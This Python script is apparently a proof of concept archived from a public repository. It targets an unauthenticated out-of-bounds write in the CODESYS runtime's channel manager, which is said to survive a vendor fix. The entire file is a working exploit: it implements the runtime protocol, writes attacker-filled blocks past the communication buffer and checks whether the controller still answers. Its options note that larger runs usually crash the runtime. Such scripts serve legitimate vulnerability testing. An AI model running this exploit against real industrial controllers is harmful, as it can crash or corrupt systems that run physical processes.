#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/dinosn/cve-2026-127148-poc (no license file)
"""PoC for an unauthenticated out-of-bounds write in CODESYS CmpChannelMgr (in-order blocks).

The runtime accepts every in-order L4 data block whose length equals the channel's maximum block
size without checking it against the declared message size or the communication buffer, so a client
can append unlimited attacker data past the end of the buffer. Present in 3.5.22.50 (the fix for
CVE-2026-127148, which only covers the out-of-order store) and in every earlier build tested.

The script proves the missing check by counting acknowledgements: a correct runtime stops accepting
full-size blocks once the declared message size is reached; a vulnerable one keeps acknowledging
every block that is written past the buffer.

For authorised testing only.
"""
import argparse
import socket
import struct
import sys
import threading
import time
import zlib

BD_MAGIC = 0xE8170100        # CmpBlkDrvTcp frame magic
MAX_DATAGRAM = 512
FIRST_HDR, CONT_HDR = 24, 16  # L4DATAFIRST / L4DATA header sizes on the wire (protocol 0x0102)
OPEN, PKT_BLK, PKT_ACK = 0xC3, 0x01, 0x02

VULNERABLE, FIXED, UNDETERMINED = 0, 1, 2


def log(msg):
    print(msg, flush=True)


def leb128(value):
    out = bytearray()
    while True:
        b = value & 0x7F
        value >>= 7
        if value:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)


def tag(tag_id, value):
    return leb128(tag_id) + leb128(len(value)) + value


def services(group, service, session, body):
    return struct.pack("<HHHHII", 0xCD55, 16, group, service, session, len(body)) + b"\x00" * 4 + body


def meta(req, tail):
    """Meta request (OPEN/CLOSE/RTSINFO): CRC32 at +4 over the packet with the field zeroed."""
    p = bytes([req, 0x00]) + struct.pack("<HI", 0x0102, 0) + tail
    return p[:4] + struct.pack("<I", zlib.crc32(p) & 0xFFFFFFFF) + p[8:]


IDENT_BODY = tag(0x01, bytes.fromhex("00 10 00 00 00 00 00 00 00 00 00 00"))


class Runtime:
    """Minimal CODESYS V3 online-protocol client: block driver -> router -> L4 channel."""

    def __init__(self, host, port, timeout):
        self.host, self.port = host, port
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.sock.settimeout(timeout)
        self.lip, self.lport = self.sock.getsockname()[:2]
        self.tok16 = self.chan32 = None
        self.acks = 0
        self.closed = False

    def send_l4(self, payload):
        dg = (bytes([0xC5, (14 << 3) | 3, 0x40, 0x40, 0, 0x33])
              + struct.pack(">H", self.port) + socket.inet_aton(self.host)
              + struct.pack(">H", self.lport) + socket.inet_aton(self.lip) + b"\x00\x00" + payload)
        if len(dg) > MAX_DATAGRAM:
            raise ValueError(f"datagram {len(dg)} bytes exceeds {MAX_DATAGRAM}")
        self.sock.sendall(struct.pack("<II", BD_MAGIC, len(dg) + 8) + dg)

    def _exact(self, n):
        buf = bytearray()
        while len(buf) < n:
            chunk = self.sock.recv(n - len(buf))
            if not chunk:
                raise ConnectionError("runtime closed the connection")
            buf += chunk
        return bytes(buf)

    def recv_l4(self, deadline):
        """One L4 payload, or None on timeout. Raises ConnectionError when the peer closes."""
        self.sock.settimeout(max(0.05, deadline - time.time()))
        try:
            _, length = struct.unpack("<II", self._exact(8))
            body = self._exact(length - 8)
        except socket.timeout:
            return None
        if body[0] != 0xC5:
            return b""
        hdr = (body[1] & 7) * 2 + (body[5] & 0x0F) * 2 + (body[5] >> 4) * 2
        return body[hdr + (-(hdr)) % 4:]

    def drain(self, duration):
        frames = []
        deadline = time.time() + duration
        try:
            while True:
                pl = self.recv_l4(deadline)
                if pl is None:
                    break
                if pl:
                    frames.append(pl)
        except ConnectionError:
            frames.append(b"")
        return frames

    def count_acks(self, stop):
        """Background reader: count ACK frames while blocks are being sent."""
        while not stop.is_set():
            try:
                pl = self.recv_l4(time.time() + 0.5)
            except (ConnectionError, OSError):
                self.closed = True
                return
            if pl and len(pl) > 2 and pl[0] == PKT_ACK:
                self.acks += 1

    def open_channel(self, requested=0x001F4000):
        self.send_l4(meta(OPEN, struct.pack("<IIBBH", 0x22125B11, requested, 4, 0, 0)))
        for pl in self.drain(2.0):
            if len(pl) >= 28 and pl[0] == 0x83:
                result, tok16 = struct.unpack_from("<HH", pl, 12)
                granted, = struct.unpack_from("<I", pl, 16)
                chan32, = struct.unpack_from("<I", pl, 24)
                if result == 0:
                    self.tok16, self.chan32 = tok16, chan32
                return result, granted, pl[21]
        return None, None, None

    def first_block(self, blk, data, msglen, crc):
        return bytes([PKT_BLK, 0x81]) + struct.pack("<HIII", self.tok16, self.chan32, blk, 0) \
            + struct.pack("<II", msglen, crc) + data

    def cont_block(self, blk, data):
        return bytes([PKT_BLK, 0x80]) + struct.pack("<HIII", self.tok16, self.chan32, blk, 0) + data

    def identify(self):
        """Unauthenticated CmpDevice identify on this channel; returns the reply payload or None."""
        msg = services(1, 1, 0, IDENT_BODY)
        self.send_l4(self.first_block(1, msg, len(msg), zlib.crc32(msg) & 0xFFFFFFFF))
        for pl in self.drain(2.0):
            if len(pl) > 2 and pl[0] == PKT_BLK:
                return pl
        return None

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass


def main():
    ap = argparse.ArgumentParser(description="PoC for the unfixed CODESYS CmpChannelMgr in-order block overflow")
    ap.add_argument("host", help="runtime IPv4 address")
    ap.add_argument("--port", type=int, default=11740, help="CODESYS runtime TCP port (11740; the gateway is 1217)")
    ap.add_argument("--blocks", type=int, default=400,
                    help="full-size continuation blocks to send (400 proves the bug; 1700+ usually crashes the runtime)")
    ap.add_argument("--msglen", type=lambda s: int(s, 0), default=0x10000, help="declared message size of block 1")
    ap.add_argument("--wave", type=int, default=100, help="blocks per burst before a short pause")
    ap.add_argument("--wave-sleep", type=float, default=0.3, help="pause between bursts (seconds)")
    ap.add_argument("--timeout", type=float, default=3.0, help="seconds to wait for replies")
    a = ap.parse_args()

    try:
        rt = Runtime(a.host, a.port, a.timeout)
    except OSError as e:
        log(f"UNDETERMINED: cannot connect to {a.host}:{a.port}: {e}")
        return UNDETERMINED

    try:
        result, granted, s = rt.open_channel()
    except (ConnectionError, OSError) as e:
        log(f"UNDETERMINED: open channel failed: {e}")
        return UNDETERMINED
    if result != 0 or not granted:
        log(f"UNDETERMINED: open channel result={result} granted={granted} (no free channel slot, or not a runtime)")
        return UNDETERMINED
    w = 512 - 2 * s - 8
    first_len, cont_len = w - FIRST_HDR, w - CONT_HDR
    legit = 1 + max(0, -(-(a.msglen - first_len) // cont_len))   # blocks the declared message may contain
    log(f"channel open: comm buffer granted={granted} B, address size={s}, max block size={w}")
    log(f"declared message {a.msglen} B fits {legit} full-size blocks; sending block 1 + {a.blocks} full-size "
        f"in-order blocks = {first_len + a.blocks * cont_len} B of data ({first_len + a.blocks * cont_len - granted} B past the buffer)")

    stop = threading.Event()
    reader = threading.Thread(target=rt.count_acks, args=(stop,), daemon=True)
    reader.start()
    sent = 0
    try:
        rt.send_l4(rt.first_block(1, b"\x41" * first_len, a.msglen, 0))
        for k in range(2, 2 + a.blocks):
            rt.send_l4(rt.cont_block(k, b"\x41" * cont_len))
            sent += 1
            if sent % a.wave == 0:
                time.sleep(a.wave_sleep)
    except (ConnectionError, OSError) as e:
        log(f"runtime closed the connection after {sent} continuation blocks: {e}")
    time.sleep(1.0)
    stop.set()
    reader.join(timeout=2)
    rt.close()
    acks = rt.acks
    log(f"blocks sent={sent}, ACKs received={acks}, connection closed by runtime={rt.closed}")

    try:
        probe = Runtime(a.host, a.port, a.timeout)
        healthy = probe.open_channel()[0] == 0 and probe.identify() is not None
        probe.close()
    except (ConnectionError, OSError):
        healthy = False
    log("runtime after the burst: " + ("still answering (data written past the buffer did not hit anything fatal yet)"
                                       if healthy else "no longer answering (crashed or wedged)"))

    if rt.closed and acks == 0:
        log("UNDETERMINED: the runtime closed the connection before acknowledging anything")
        return UNDETERMINED
    # one ACK per two blocks on every build tested; require clearly more than the message could earn
    if acks > 0.75 * legit:
        log(f"VULNERABLE: {acks} ACKs for {sent} full-size blocks although the message allows only {legit}")
        return VULNERABLE
    log(f"NOT VULNERABLE: {acks} ACKs, consistent with rejecting blocks beyond the declared message size")
    return FIXED


if __name__ == "__main__":
    sys.exit(main())
